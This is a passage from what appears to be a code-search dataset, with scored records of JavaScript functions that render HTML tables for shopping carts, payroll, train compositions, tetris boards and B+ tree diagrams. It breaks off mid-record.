"1af4653d178e5c8cb43c686ba036ad3e", "score": "0.608678", "text": "function carritoHTML (){\r\n\r\n //limpiar el HTML pra que no aparezcan 1, 12, 123, 1234, etc\r\n limpiarHTML ();\r\n //recorre el carrito y genera el HTML\r\n articulosCarrito.forEach( curso => {\r\n const { imagen, titulo, precio, cantidad, id} = curso; //saco el \"curso.\" de todos los td (como curso.imagen)\r\n const row = document.createElement('tr');\r\n row.innerHTML = `\r\n <td> \r\n <img src=\"${curso.imagen}\" width=\"100\"></td> \r\n <td>${titulo}</td>\r\n <td>${precio}</td>\r\n <td>${cantidad}</td>\r\n <td><a href=\"#\" class=\"borrar-curso\" data-id=\"${id}\" > X </a>\r\n </td>\r\n `;\r\n //agrega el HTML del carrito en el tbody\r\n contenedorCarrito.appendChild(row);\r\n });\r\n\r\n //sincronizar con localStorage\r\n sincronizarStorage();\r\n}", "title": "" }, { "docid": "6354c3416dfecf6371ec7304432e7c1f", "score": "0.6083835", "text": "function muestra() {\n var tamanio = nomina['detalleNomina'].length;\n var detalle = nomina['detalleNomina'];\n var html =\n `<table id=\"nomina\" class=\"table m-b-0 toggle-arrow-tiny\">\n <thead>\n <tr>\n <th data-toggle=\"true\" data-sort-ignore=\"true\"> Nombre </th>\n <th data-hide=\"phone\"> Percepciones </th>\n <th data-hide=\"phone\"> Deducciones </th>\n <th data-hide=\"phone\"> Neto a pagar </th>\n <th data-hide=\"phone\" class=\"text-center\"> Acciones </th>\n <th hidden>Días trabajados</th>\n <th hidden>Faltas sin justificar</th>\n <th hidden>Días de descanso</th>\n <th hidden>Horas sábado</th>\n <th hidden>Sueldo base</th>\n <th hidden>Horas extras</th>\n <th hidden>Monto horas extras</th>\n <th hidden>Abono prestamo</th>\n <th hidden>Infonavit</th>\n <th hidden>Bono P y A</th>\n <th hidden>Bono extra</th>\n </tr>\n </thead>\n <tbody>`;\n for(var x=0; x<tamanio; x++) {\n var conceptos = detalle[x].conceptos;\n var tamanioc = detalle[x].conceptos.length;\n var tr = detalle[x];\n tr.deduccion = 0, tr.percepcion = 0;\n for (var i = 0; i <tamanioc; i++) {\n if(conceptos[i].Tipo == 0)\n tr.deduccion += conceptos[i].Monto;\n else\n tr.percepcion += conceptos[i].Monto;\n }\n tr.diasTrabajados = 0;\n tr.horasExtras = 0;\n tr.diasDescanso = 1;\n tr.horasSabado = 0;\n tr.faltasSinJustificar = 0;\n\n for (var i = 0; i < tr.asistencia.length; i++) {\n //console.log(tr.asistencia[i])\n if(tr.asistencia[i].Hora_salida === 1 && tr.asistencia[i].Hora_entrada === 1) {\n tr.horasSabado += 0.5;\n tr.diasTrabajados ++;\n }\n else if(tr.asistencia[i].Hora_salida === 1 || tr.asistencia[i].Hora_entrada === 1)\n tr.diasTrabajados +=0.5;\n if(tr.asistencia[i].Hora_extra === 1)\n tr.horasExtras ++;\n }\n tr.faltasSinJustificar = 6 - tr.diasTrabajados;\n html += `<tr>\n <td>${tr.Nombre} ${tr.Apellidos}</td>\n <td>$${tr.deduccion}</td>\n <td>$${tr.percepcion}</td>\n <td>$${tr.Cantidad}</td>\n <td class=\"text-center\">\n <span data-toggle=\"modal\" data-target=\".bs-example-modal-lg\" data-body=\"${tr.id}\" class=\"modal-show\">\n <a data-toggle=\"tooltip\" data-original-title=\"Ver detalles\"> <i class=\"icon-eye \"></i> </a>\n </span>\n </td>\n <td hidden>${tr.diasTrabajados}</td>\n <td hidden>${tr.faltasSinJustificar}</td>\n <td hidden>${tr.diasDescanso}</td>\n <td hidden>${tr.horasSabado}</td>\n <td hidden>${tr.conceptos[2].Monto}</td>\n <td hidden>${tr.horasExtras}</td>\n <td hidden>${tr.conceptos[3].Monto}</td>\n <td hidden>${tr.conceptos[0].Monto}</td>\n <td hidden>${tr.conceptos[2].Monto}</td>\n <td hidden>${tr.conceptos[4].Monto}</td>\n <td hidden>${tr.conceptos[5].Monto}</td>\n </tr>`;\n }\n html += `<tbody>\n </table>`;\n $( \".tabla\" ).append(html);\n\n imprimir();\n }", "title": "" }, { "docid": "a30211731f8d50b61f6676b7f71a2912", "score": "0.6082269", "text": "function createOneCompositionTable(section, divToAdd) {\n //Create div for the new table\n let div = document.createElement('div');\n\n //Create header with first and last station\n let headerDiv = document.createElement('div');\n headerDiv.classList.add('tableName');\n headerDiv.appendChild(document.createTextNode(UICCodeToStationName(section.From, trainStations) + ' - ' + UICCodeToStationName(section.To, trainStations)));\n //Add it to div\n div.appendChild(headerDiv);\n\n //Create the table\n let table = document.createElement('table');\n\n //Make first line to it with: | # | Tunnus | Palvelut |\n let firstLine = table.insertRow(-1);\n firstLine.classList.add('lihava');\n firstLine.insertCell(-1).appendChild(document.createTextNode('#'));\n firstLine.insertCell(-1).appendChild(document.createTextNode('Tunnus'));\n firstLine.insertCell(-1).appendChild(document.createTextNode('Palvelut'));\n\n //go trough composition. Composition is array with Wagons\n section.Composition.forEach(function (wagon) {\n compositionTableLine(wagon, table);\n });\n\n //Add pituus and nopeus lines\n let pituusLine = table.insertRow(-1);\n pituusLine.classList.add('CompositionFooterLined');\n let pituusTextCell = pituusLine.insertCell(-1);\n let pituusNumberCell = pituusLine.insertCell(-1);\n pituusTextCell.colSpan = '2';\n pituusTextCell.classList.add('lihava');\n pituusTextCell.appendChild(document.createTextNode('Pituus: '));\n pituusNumberCell.appendChild(document.createTextNode(section.Length + ' m'));\n\n let nopeusLine = table.insertRow(-1);\n nopeusLine.setAttribute('style', 'background-color: white; border-top: lightgray 1px solid;');\n let nopeusTextCell = nopeusLine.insertCell(-1);\n let nopeusNumberCell = nopeusLine.insertCell(-1);\n nopeusTextCell.colSpan = '2';\n nopeusTextCell.classList.add('lihava');\n nopeusTextCell.appendChild(document.createTextNode('Maksiminopeus: '));\n nopeusNumberCell.appendChild(document.createTextNode(section.MaxSpeed + ' km/h'))\n\n //Add table to div\n div.appendChild(table);\n\n //Add complete div to divToAdd\n divToAdd.appendChild(div);\n}", "title": "" }, { "docid": "306cc821f1256524c8c7e18e34635658", "score": "0.6082168", "text": "function controlCarrito() {\n\n baseDeProductos.forEach(element => {\n detallePedido+= ` \n <tr>\n <td id= \"td${element.sabor}\" >${element.titulo}</td>\n <td id= \"td${element.sabor}P\">$ ${element.cantidad * element.precio}</td>\n <td id= \"td${element.sabor}C\">${element.cantidad}</td>\n </tr>`\n });\n\n let datos = document.getElementById(\"detallePedido\");\n $(datos).html(detallePedido);\n}", "title": "" }, { "docid": "474e66a8f1209645f2b5222236ab85e5", "score": "0.60708046", "text": "function carritoHTML() {\r\n\r\n // Limpiar el HTML\r\n limpiartHTML();\r\n\r\n // Recorre le carrito y genera el HTML\r\n articulosCarrito.forEach( curso => {\r\n const { imagen, titulo, precio, cantidad, id } = curso;\r\n const row = document.createElement('tr');\r\n row.innerHTML = `\r\n <td><img src=\"${imagen}\" width=\"100\" > </td>\r\n <td>${titulo}</td>\r\n <td>${precio}</td>\r\n <td>${cantidad}</td>\r\n <td><a href=\"#\" class=\"borrar-curso\" data-id=\"${id}\" > X </td>\r\n `;\r\n\r\n // Agrega el html del carrito en el tbody\r\n contenedorCarrito.appendChild(row);\r\n });\r\n}", "title": "" }, { "docid": "1f32bebac71c9341e6d3c4d12167b592", "score": "0.6046025", "text": "function divisionrow(){\r\n\t\tvar divide3=0;\r\n\t divisiontr=document.createElement('tr');\r\n\t for (var division=divisionnumberlength2;division>0;division--){\r\n\t divisiontd=document.createElement('td');\r\n\t divisiontd.height = '40';\r\n\t divisiontd.width= '25';\r\n\t\t divisiontd.innerHTML+=\"\";\r\n\t\t divisiontr.appendChild(divisiontd);\r\n\t\t}\r\n for (var division1=divisionnumberlength+3;division1>0;division1--){\r\n\t\t divisiontd2=document.createElement('td');\r\n\t\t divisiontd2.setAttribute(\"style\",\"border-bootom: 4px solid #ddd\");\r\n\t\t divisiontd2.id=\"divisionanswer\"+divide3;\r\n\t\t divide3++;\r\n\t divisiontd2.height = '40';\r\n\t divisiontd2.width= '25';\t\t\r\n\t divisiontr.appendChild(divisiontd2);\r\n\t\t}\r\n\t divisiontbl.appendChild(divisiontr);\r\n }", "title": "" }, { "docid": "cbb4484099fb9806e3e6e8d34410d5e5", "score": "0.60441405", "text": "function pintarCarritoHtml() {\n\n // Limpiar el HTML carrito\n limpiarHtml();\n\n articulosCarrito.forEach( curso => {\n const fila = document.createElement('tr');\n // console.log(curso);\n fila.innerHTML = `\n <td> <img src=\"${ curso.imagen }\" width=\"100\"> </td>\n <td> ${ curso.titulo } </td>\n <td> <b> ${ curso.precio } </b> </td>\n <td> ${ curso.cantidad } </td>\n <td> <a href=\"#\" class=\"borrar-curso\" data-id=\"${ curso.id }\"> X </a> </td>\n `;\n\n contenedorCarrito.appendChild(fila);\n });\n}", "title": "" }, { "docid": "4038d6ca7c992624bd4a2dbbaaef4612", "score": "0.60260326", "text": "function pintar() {\n var lt = ' <'\n var des\n var html = \"<table class='tetris'>\"\n for (var f = 0; f < 16; f++) {\n html += '<tr>'\n for (var c = 0; c < 10; c++) {\n var color = tablero[f][c]\n if (color == 0) {\n for (v = 1; v < 5; v++) {\n des = piezas[tetromino][v]\n var pos2 = rotarCasilla(pos[des])\n if (f == fpi + pos2[0] && c == cpi + pos2[1]) {\n color = tetromino + 1\n }\n }\n }\n html += \"<td class='celda\" + color + \"'/>\"\n }\n html += lt + '/tr>'\n }\n html += lt + '/table>'\n html += '<br />Lineas : ' + lineas\n html += '<br />Record : ' + record\n document.getElementById('tetris').innerHTML = html\n velocidad = Math.max(velocidad - 1, 500)\n}", "title": "" }, { "docid": "4d44223060c52e823e0e76586200a927", "score": "0.6019884", "text": "function divisionrow2(){\r\n\t\tvar divide=0;\r\n\t\tvar divide2=0;\r\n\t divisiontr2=document.createElement('tr');\r\n\t for (var division2=divisionnumberlength2;division2>0;division2--){\r\n\t divisiontd3=document.createElement('td');\r\n\t\t divisiontd3.setAttribute(\"rowspan\",2);\r\n\t\t divisiontd3.id=\"divisionnumber1\"+divide;\r\n\t divisiontd3.height = '40';\r\n\t divisiontd3.width= '25';\r\n\t\t divisiontd3.innerHTML+=divisionnumber2[divide];\r\n divisiontr2.appendChild(divisiontd3);\r\n\t\t divide++;\r\n\t\t}\r\n\t\t for (var division3=divisionnumberlength+3;division3>0;division3--){\r\n\t divisiontd4=document.createElement('td');\r\n\t\t if(division3<divisionnumberlength+3){\r\n\t\t divisiontd4.setAttribute(\"style\",\"border-top: 4px solid #ddd; font-size:12px\");\r\n\t\t }\r\n\t\t if(division3>=divisionnumberlength+3){\r\n\t\t\t divisiontd4.setAttribute(\"style\",\"border-left: 4px solid #ddd; border-top: 4px solid #ddd\");\r\n\t\t }\r\n\t\t divisiontd4.id=\"divisiontally\"+divide2;\r\n\t divisiontd4.height = '5';\r\n\t divisiontd4.width= '15';\t\t\r\n\t divisiontr2.appendChild(divisiontd4);\r\n\t\t divide2++;\r\n\t\t }\r\n\t\t divisiontbl.appendChild(divisiontr2);\r\n }", "title": "" }, { "docid": "7fa2c3e594d5e8a2ab30e9162358302d", "score": "0.6015078", "text": "function montar_obrigatoria(jsCatalogo, jsHistorico, id_div_pai) {\r\n var creditos_feitos = 0;\r\n $(\"#id_div_pai\").html(\"\");\r\n $('<label></label>').css({\"font-size\": \"17px\"}).html(\"N&uacute;cleo Comum ao Curso\").appendTo(id_div_pai);\r\n $('<br/>').appendTo(id_div_pai);\r\n $('<table></table>').attr({id: \"id_table_nucleo_comum\"}).appendTo(id_div_pai);\r\n var ii = -1;\r\n var j = 0;\r\n $.each(jsCatalogo, function(sigla) {\r\n if (ii < 0) {\r\n $('<tr></tr>').attr({id: \"id_tr\" + j}).appendTo(\"#id_table_nucleo_comum\");\r\n ii++;\r\n }\r\n if (jsHistorico.hasOwnProperty(sigla)) {\r\n creditos_feitos += jsHistorico[sigla];\r\n delete jsHistorico[sigla];\r\n }\r\n else {\r\n $('<td></td>').appendTo(\"#id_tr\" + j).html(sigla);\r\n ii++;\r\n }\r\n if (ii > 4) {\r\n ii = -1;\r\n j++;\r\n }\r\n });\r\n if (ii === 0) {\r\n $(id_div_pai).remove();\r\n }\r\n}", "title": "" }, { "docid": "340db596f577d4d6cea3349f4849cafc", "score": "0.60116357", "text": "function createVocTable(rows) {\n\n var table_width = 300;\n var table = \"<table border='1'>\";\n\n // Voceingabe am Anfang der angezeigten Vokabeln\n table +=\"<tr>\";\n table +=\" <td width = '\"+table_width+\"'>\";\n table +=\" <div id='new_voc_0'></div>\";\n table +=\" </td>\";\n table +=\" <td width = '\"+table_width+\"'>\";\n table +=\" <div id='new_voc_1'></div>\";\n table +=\" </td>\";\n table +=\"</tr>\";\n\n\n \n\n for (var i = voc_ll.length-1; i >= 0; i--){\n // erstellen der jquery textareas\n\n table +=\"<tr>\";\n for (var ii = 0; ii <= rows ; ii++){\n table +=\" <td width = '\"+table_width+\"'>\";\n table +=\" <div id='voc_\"+voc_ll.at(i).data.id+\"_\"+ii+\"'></div>\";\n table +=\" </td>\";\n\n }\n table +=\"</tr>\";\n\n }\n\n // Voceinhabe am Ende der Angezeigten Vokabeln\n // wird gebraucht um das neue Div mit den leeren feldern anzulegen\n var last_id = parseInt(voc_ll.at(voc_ll.length-1).data.id);\n // erstellen der extra Zeile für die neuen Vocs\n /*table +=\"<tr>\";\n for (ii = 0; ii <= rows ; ii++){\n\n table +=\" <td width = '\"+table_width+\"'>\";\n table +=\" <div id='new_voc_\"+ii+\"'></div>\";\n table +=\" </td>\";\n\n }\n table +=\"</tr>\";*/\n menu_voc.setLastId(last_id);\n return table;\n\n\n\n}", "title": "" }, { "docid": "ec52eddd0d2dd2a1bb4357df2b58daff", "score": "0.5997007", "text": "function carritoHTML(){\n //Limpiar el HTML\n limpiarHTML();\n //Recorrer el carrito y generar el HTML\n articulosCarrito.forEach((curso)=>{\n const row = document.createElement('tr');\n const {img, titulo, precio, cantidad, id} = curso;\n row.innerHTML = `\n <td>\n <img src=\"${img}\" width=100>\n </td>\n <td>\n ${titulo}\n </td>\n <td>\n ${precio}\n </td>\n <td>\n ${cantidad}\n </td>\n <td>\n <a href=\"#\" class = \"borrar-curso\" data-id =\"${id}\">X<a>\n </td>\n `\n //Agrega el HTML al carrito tbody\n // inserta un nuevo nodo dentro de la estructura DOM de un documento\n contenedorCarrito.appendChild(row);\n })\n sincronizarStorage();\n}", "title": "" }, { "docid": "f93ba546a79e28ce964b58e59bb2fabe", "score": "0.5992574", "text": "function loadTableAR_CIWP()//Critical Illness Rider\n{\n var arrTitle = new Array(\"Rider(s)\",\"Jumlah Diinsuranskan/Faedah\",\"Tempoh Perlindungan\",\"Hayat - hayat Diinsuranskan\",\"Huraian Faedah\");\n var arrContent = new Array (\"Critical Illness WP Rider\",CWIP_sumAssured+\" </br>(Tahunan)\",CWIP_coverage,\"Life Assured\",loadTableAR_CIWP_desc());\n \n //set the portion of the display table\n var arrStyle = new Array(\"5%\",\"5%\",\"5%\",\"10%\",\"75%\");\n var table = document.createElement('table');\n table.setAttribute('class','normalTable');\n table.border = \"1\";\n \n for (i = 0; i< 2;i++)\n {\n var tr = document.createElement('tr');\n for (j = 0; j < arrTitle.length;j++)\n {\n \n var td = document.createElement('td');\n td.style.width = arrStyle[j];\n \n //td.setAttribute('class','textAlignCenter');\n if (i == 0)\n {\n td.innerHTML = arrTitle[j];\n }\n else if (j == 4)\n {\n td.appendChild(arrContent[j]);\n td.setAttribute('class','tdVerticalAlign textAlignCenter');\n \n }\n else{\n \n td.innerHTML = arrContent[j];\n td.setAttribute('class','tdVerticalAlign textAlignCenter');\n \n \n }\n tr.appendChild(td);\n }\n \n table.appendChild(tr);\n }\n \n return table;\n \n}", "title": "" }, { "docid": "a7e0ef01fe1704d4190e6674b9210bd4", "score": "0.5987797", "text": "function carritoHTML() {\n \n //8- Limpiar el HTML\n limpiarHTML();\n //9- Recorre el carrito y genera el HTML\n articulosCarrito.forEach( (curso) => {\n // muestra el objeto\n console.log(curso);\n // destructuring de objetos, extrae valor y crea la variable\n const {imagen, titulo, precio, cantidad, id} = curso;\n const row = document.createElement('tr');\n row.innerHTML = `\n <td><img src=\"${imagen}\" width=\"100\"></td>\n <td>${titulo}</td>\n <td>${precio}</td>\n <td>${cantidad}</td>\n <td><a href=\"#\" class=\"borrar-curso\" data-id=\"${id}\"> x </td>\n `;\n // tiene que ser en el foreach porque puede que tengamos uno o dos\n // elementos en el carrito y queremos ir agregando todos\n // Agrega el HTML del carrito en el tbody\n contenedorCarrito.appendChild(row);\n // notar que al ir agregando y mostrando. el tbody se irá llenando pero no borra los row anteriores.\n // ¿como lo borramos?\n });\n // Agregar el carrito de compras al Storage\n sincronizarStorage();\n}", "title": "" }, { "docid": "5dc5b278735f695974a4e6bb87f8c6b1", "score": "0.59806794", "text": "function vaciarTabla()\n\t\t\t{\n\n\t\t\t\tvar td1 = document.getElementById('td1');\n\t\t\t\tvar td1Fondo = td1.style.backgroundImage = \"\";\n\n\t\t\t\tvar td2 = document.getElementById('td2');\n\t\t\t\tvar td2Fondo = td2.style.backgroundImage = \"\";\n\n\t\t\t\tvar td3 = document.getElementById('td3');\n\t\t\t\tvar td3Fondo = td3.style.backgroundImage = \"\";\n\n\t\t\t\tvar td4 = document.getElementById('td4');\n\t\t\t\tvar td4Fondo = td4.style.backgroundImage = \"\";\n\n\t\t\t\tvar td5 = document.getElementById('td5');\n\t\t\t\tvar td5Fondo = td5.style.backgroundImage = \"\";\n\n\t\t\t\tvar td6 = document.getElementById('td6');\n\t\t\t\tvar td6Fondo = td6.style.backgroundImage = \"\";\n\n\t\t\t\tvar td7 = document.getElementById('td7');\n\t\t\t\tvar td7Fondo = td7.style.backgroundImage = \"\";\n\n\t\t\t\tvar td8 = document.getElementById('td8');\n\t\t\t\tvar td8Fondo = td8.style.backgroundImage = \"\";\n\n\t\t\t\tvar td9 = document.getElementById('td9');\n\t\t\t\tvar td9Fondo = td9.style.backgroundImage = \"\";\n\t\t\t\tgana.innerHTML = \"\";\n\t\t\t\tjugador = 1;\n\t\t\t\tcontador = 0;\n\t\t\t}", "title": "" }, { "docid": "00df16e41dfe069a0280c0f91a226aef", "score": "0.5974675", "text": "function creaBorraDiv(elemento){\n //Elimino los divs de visualizacion\n while(document.querySelector('[id^=visualizacion]')){\n let element=document.querySelector('[id^=visualizacion]');\n element.parentNode.removeChild(document.querySelector('[id^=visualizacion]'));\n }\n // No va a existir el div... lo creo\n if (!document.getElementById(\"visualizacion\"+elemento)){\n let div = document.createElement(\"div\");\n div.setAttribute(\"id\", \"visualizacion\"+elemento);\n document.getElementById(elemento).append(div);\n }\n // Borro el contenido del div \n document.getElementById(\"visualizacion\"+elemento).innerHTML=\"\";\n}", "title": "" }, { "docid": "87f0ba5956b6caa788a6b7d5f17e0633", "score": "0.59592545", "text": "function carritoHTML() {\n limpiarHTML();\n\n //recorre el carrito y genera el HTML\n articulosCarrito.forEach( curso => {\n const {imagen,titulo,precio,cantidad,id} = curso;\n const row = document.createElement('tr');\n row.innerHTML = `\n <td>\n <img src=\"${imagen}\" width=\"100\" />\n </td>\n <td>${titulo}</td>\n <td>${precio}</td>\n <td>${cantidad}</td>\n <td>\n <a href=\"#\" class=\"borrar-curso\" data-id=\"${id}\" > X </a>\n </td>\n `;\n \n contenedorCarrito.appendChild(row);\n })\n}", "title": "" }, { "docid": "c747203ae79ebc4769df3275a14610b5", "score": "0.59545773", "text": "function exhibirCodigoCompilado() {\n\tcodigoCompilado = codigoCompilado.concat(\"</tr></table>\");\n\tdivGeneral = divGeneral + codigoCompilado;\n}", "title": "" }, { "docid": "8eed7f6536a59ef837b24c758b7de3aa", "score": "0.59524256", "text": "function carritoHTML() {\n\n // limpia el HTML\n limpiaHTML();\n\n // recorre el carrito y genera el HTML\n articulosCarrito.forEach(curso => {\n const { imagen, titulo, precio, cantidad, id} = curso;\n\n const row = document.createElement('tr');\n row.innerHTML = `\n <td><img src=\"${imagen}\" width=\"100\"></td>\n <td>${titulo}</td>\n <td>${precio}</td>\n <td>${cantidad}</td>\n <td>\n <a href=\"#\" class=\"borrar-curso\" data-id=${id}>X</a>\n </td>\n\n `;\n\n // agregar el HTML del carrito en el body\n contenedorCarrito.appendChild(row);\n\n })\n}", "title": "" }, { "docid": "5cf2adb3519ae0ae78f680055f3ca0c4", "score": "0.5952249", "text": "function crearNuevoNodoDivisionBMas(numeroNodo,nuevoTop,nuevoLeft,posicionNodo,idNodoPosterior,idDivEnglobaProvisorio,idDivEngloba)\n{\n\t\n\t/*me quedo con el nodo que engloba al nodo desbordado*/\n\tvar divEnglobaDesbordadoProvisorio=document.getElementById(idDivEnglobaProvisorio);\n\t/*me quedo con el div padre*/\n\tvar divPadre=divEnglobaDesbordadoProvisorio.parentNode;\n\t/*creo el div que me engloba al nodo*/\n\tvar divEnglobaDesbordadoNuevo=document.createElement('div');\n\tdivEnglobaDesbordadoNuevo.id=idDivEngloba;\n\tif(posicionNodo==\"izquierdo\")\n\t{\n\t\tdivEnglobaDesbordadoNuevo.style.zIndex=divEnglobaDesbordadoProvisorio.style.zIndex;\n\t}else\n\t{\n\t\tif(vectorNumeracionBMas.length==0)\n\t\t{\n\t\t\tdivEnglobaDesbordadoNuevo.style.zIndex=contadorNumeroNodo;\n\t\t\tcontadorNumeroNodo++;\n\t\t}else\n\t\t{\n\t\t\tvar rotulo=vectorNumeracionBMas.shift();\n\t\t\tdivEnglobaDesbordadoNuevo.style.zIndex=rotulo;\n\t\t}\n\t}\n\tdivEnglobaDesbordadoNuevo.style.position='absolute';\n\tdivEnglobaDesbordadoNuevo.style.height=30;\n\tdivEnglobaDesbordadoNuevo.style.width=anchoTotalNodo+170;\n\t/*creo el div que me representa el conjunto de elmentos del nodo*/\n\tvar divElementos=document.createElement('div');\n\tdivElementos.id=\"E\"+idDivEngloba[1]+idDivEngloba.substr(2,idDivEngloba.length-2);\n\t/*creo los divs que representan los punteros y los elementos*/\n\tfor(var x=0;x<=maxElementos-1;x++)\n\t{\n\t\tvar divPuntero=document.createElement('div');\n\t\tdivPuntero.id='P'+idDivEngloba[1]+idDivEngloba.substr(2,idDivEngloba.length-2)+x;\n\t\tdivPuntero.style.width=10;\n\t\tdivPuntero.style.height=30;\n\t\tdivPuntero.className='puntero';\t\n\t\tdivPuntero.style.position='relative';\n\t\tdivPuntero.style.cssFloat='left';\n\t\tdivElementos.appendChild(divPuntero);\n\t\tvar elementoNuevo=document.createElement('div');\n\t\telementoNuevo.className=\"elemento\";\n\t\telementoNuevo.id=''+idDivEngloba[1]+idDivEngloba.substr(2,idDivEngloba.length-2)+x;\n\t\telementoNuevo.style.width=30;\n\t\telementoNuevo.style.height=25;\n\t\telementoNuevo.style.backgroundColor=color_nodo;\nelementoNuevo.style.color=color_texto_nodo;\n\t\telementoNuevo.style.border=borde_elemento;\n\t\telementoNuevo.style.position='relative';\n\t\telementoNuevo.style.cssFloat='left';\n\t\tdivElementos.appendChild(elementoNuevo);\t\n\t}\n\t/*creo el ultimo puntero*/\n\tdivPuntero=document.createElement('div');\n\tdivPuntero.id='P'+idDivEngloba[1]+idDivEngloba.substr(2,idDivEngloba.length-2)+x;\n\tdivPuntero.style.width=10;\n\tdivPuntero.style.height=30;\n\tdivPuntero.className='puntero';\t\n\tdivPuntero.style.position='relative';\n\tdivPuntero.style.cssFloat='left';\n\tdivElementos.appendChild(divPuntero);\n\t/*creo un div que indica el la explicacion de la creacion del nodo*/\n\tvar divExplicacion=document.createElement('div');\n\tdivExplicacion.style.backgroundColor=color_explicacion_nuevo_nodo;\n\tdivExplicacion.style.border=borde_explicacion_nuevo_nodo;\n\tdivExplicacion.style.width=120;\n\tdivExplicacion.appendChild(document.createTextNode(\"Nuevo Nodo\"));\n\tif(posicionNodo==\"izquierdo\")\n\t{\n\t\tdivExplicacion.id=\"explicacionNuevoNodoIzquierdo\";\n\t}else\n\t{\n\t\tdivExplicacion.id=\"explicacionNuevoNodoDerecho\";\n\t}\n\tdivElementos.appendChild(divExplicacion);\n\tdivEnglobaDesbordadoNuevo.appendChild(divElementos);\n\tdivEnglobaDesbordadoProvisorio.appendChild(divEnglobaDesbordadoNuevo);\n\t$('#'+idDivEngloba).animate({top:nuevoTop, left:nuevoLeft},1250);\n\t\n}", "title": "" }, { "docid": "216d30276f99d90dfa0bf38c478a4e8e", "score": "0.593288", "text": "function incrementarIdDivsHermanosBMas(numeroNodoDesbordado,altura)\n{\n\tfor(var j=81;j!=0;j--)\n\t{\n\t\t\n\t\tvar idHermano=\"N\"+altura+j;\n\t\tvar divHermano=document.getElementById(idHermano);\n\t\tif(divHermano != undefined)\n\t\t{\n\t\t\tif(j > parseInt(numeroNodoDesbordado))\n\t\t\t{\n\t\t\t\tdivHermano.id=\"N\"+altura+parseInt(j+1);\n\t\t\t\tdivElementos=divHermano.firstChild;\n\t\t\t\tdivElementos.id=\"E\"+altura+parseInt(j+1);\n\t\t\t\tdivElemento=divElementos.firstChild;\n\t\t\t\tfor(var h=0;h<=divElementos.childNodes.length-1;h++)\n\t\t\t\t{\n\t\t\t\t\tidElemento=divElemento.id;\n\t\t\t\t\tif(idElemento[0]==\"P\")\n\t\t\t\t\t{\n\t\t\t\t\t\tdivElemento.id=\"P\"+altura+parseInt(j+1)+idElemento[idElemento.length-1];\n\t\t\t\t\t}else\n\t\t\t\t\t{\n\t\t\t\t\t\tdivElemento.id=\"\"+altura+parseInt(j+1)+idElemento[idElemento.length-1];\n\t\t\t\t\t}\n\t\t\t\t\tdivElemento=divElemento.nextSibling;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "21d157a4c57609c2d54ffcfe71ecc26c", "score": "0.59224445", "text": "function actualizarVisualizacionTabla(x, y) {\n //trae el \"td\" que tiene a la aspiradora\n var aspiradora = document.getElementsByClassName(\"agente\")[0];\n //trae el td que tendrá la nueva posición del agente\n var espacio = document.getElementsByTagName(\"tr\")[x].childNodes[y];\n //Ese agente puede tener la imagen verde, amarilla o verde. Se las quitamos\n espacio.classList.remove(\"a\", \"b\", \"c\");\n // Le agregamos las propiedades del agente\n espacio.classList.add(\"agente\");\n //quitamos la imagen del aspiradora del \"td\" anterior\n aspiradora.classList.remove(\"agente\", \"a\", \"b\", \"c\");\n //al \"td\" en el que estaba la aspiradora, se le pone \"d\" que equivale a limpio.\n aspiradora.classList.add(\"d\");\n //se asgina la nueva posición del agente\n posicionarAgente(x, y);\n}", "title": "" }, { "docid": "b0f69ab141d3f4e138e2b10d24a7ea65", "score": "0.5919367", "text": "function calcular_rubricas (col){\n\n mes = getMes(col)\n salario_row = document.getElementById('salario').rows\n for (row=0;row<salario_row.length;row++){\n if (salario_row[row].hasAttribute('id') && salario_row[row].id != 'mes'){\n preencher_celula(salario_row[row].id,col)\n }\n else {\n continue\n }\n }\n}", "title": "" }, { "docid": "aa69c9ad1d6405aa04bae70c3fc6e03b", "score": "0.59039664", "text": "function crearEsquema() {\n\n while (horario.firstChild) {\n horario.removeChild(horario.firstChild);\n }\n\n var n = 7;\n var horas = [];\n for (let i = 0; i < 15; i++) {\n var t = n + 1\n if (t == 8) {\n t = '08';\n } else if (t == 9) {\n t = '09';\n }\n var m = t + ':00';\n horas.push(m)\n n++\n\n }\n for (let i = 0; i < horas.length; i++) {\n window['ho' + (i + 1)] = document.createElement('div');\n window['ho' + (i + 1)].setAttribute('id', 'enpunto');\n window['ho' + (i + 1)].setAttribute('class', horas[i]);\n window['ho' + (i + 1)].setAttribute('onclick', 'camhora(this.className)')\n window['ho' + (i + 1)].setAttribute('title', 'CLICK para seleccionar hora de entrada.')\n window['ho' + (i + 1)].setAttribute('style', 'cursor:pointer;')\n window['ho' + (i + 1)].innerHTML = horas[i];\n\n }\n var m = 7;\n for (let i = 0; i < 15; i++) {\n window['hora' + (i + 1)] = document.createElement('div');\n window['hora' + (i + 1)].setAttribute('id', 'hora');\n window['hora' + (i + 1)].setAttribute('class', 'hora');\n var t = m + 1\n if (t == 8) {\n t = '08';\n } else if (t == 9) {\n t = '09';\n }\n var d = t + ':00';\n var hh = document.createElement('div');\n hh.setAttribute('class', 'hh');\n hh.setAttribute('id', t + ':00');\n var h1 = document.createElement('div');\n h1.setAttribute('class', 'hh');\n h1.setAttribute('id', t + ':15');\n var h2 = document.createElement('div');\n h2.setAttribute('class', 'hh');\n h2.setAttribute('id', t + ':30');\n var h3 = document.createElement('div');\n h3.setAttribute('class', 'hh');\n h3.setAttribute('id', t + ':45');\n window['hora' + (i + 1)].appendChild(hh)\n window['hora' + (i + 1)].appendChild(h1)\n window['hora' + (i + 1)].appendChild(h2)\n window['hora' + (i + 1)].appendChild(h3)\n m++\n }\n for (let i = 0; i < 15; i++) {\n window['horario'].appendChild(window['ho' + (i + 1)])\n window['horario'].appendChild(window['hora' + (i + 1)])\n }\n var contenedordatalist = document.getElementById('personas');\n while (contenedordatalist.firstChild) {\n contenedordatalist.removeChild(contenedordatalist.firstChild);\n }\n registroCC.forEach(function (e) {\n if (e.Observations != undefined) {\n var name = e.CompleteName;\n\n var codigocompleto = e.CompanyCode + e.EmployeeCode.substring(2)\n var option = document.createElement(\"option\");\n option.value = name;\n option.innerText = name;\n contenedordatalist.appendChild(option);\n } else {\n\n }\n });\n}", "title": "" }, { "docid": "f28161f7491f7bd3203681a3f6737231", "score": "0.5897942", "text": "function llenarPelicula(idPelicula, estructura) {\n estructura = \"<td>\" + idPelicula + \"</td>\";\n\n switch( idPelicula ){\n case \"1\":\n estructura += \"<td>\" + peliculas.Pelicula1.Nombre + \"</td>\";\n estructura += \"<td>\" + peliculas.Pelicula1.Duracion + \"</td>\";\n estructura += \"<td>\" + peliculas.Pelicula1.Precio + \"</td>\";\n estructura += \"<td>\" + peliculas.Pelicula1.Clasificacion + 